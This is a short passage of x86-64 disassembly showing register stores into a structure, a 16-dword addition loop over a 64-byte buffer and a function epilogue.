mov dword [rax + 0x18], r10d
mov dword [rax + 8], edi
mov dword [rax + 0x34], r9d
mov dword [rax + 0x20], r15d
mov dword [rax + 0x1c], r8d
mov dword [rax + 0xc], esi
mov dword [rax + 0x38], ecx
mov dword [rax + 0x24], r14d
mov dword [rax + 0x10], edx
xor edx, edx
mov rdi, qword [rsp + 0x78]
mov ecx, dword [rdi + rdx]
add dword [rax + rdx], ecx
add rdx, 4
cmp rdx, 0x40
jne 0x14005d58f
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret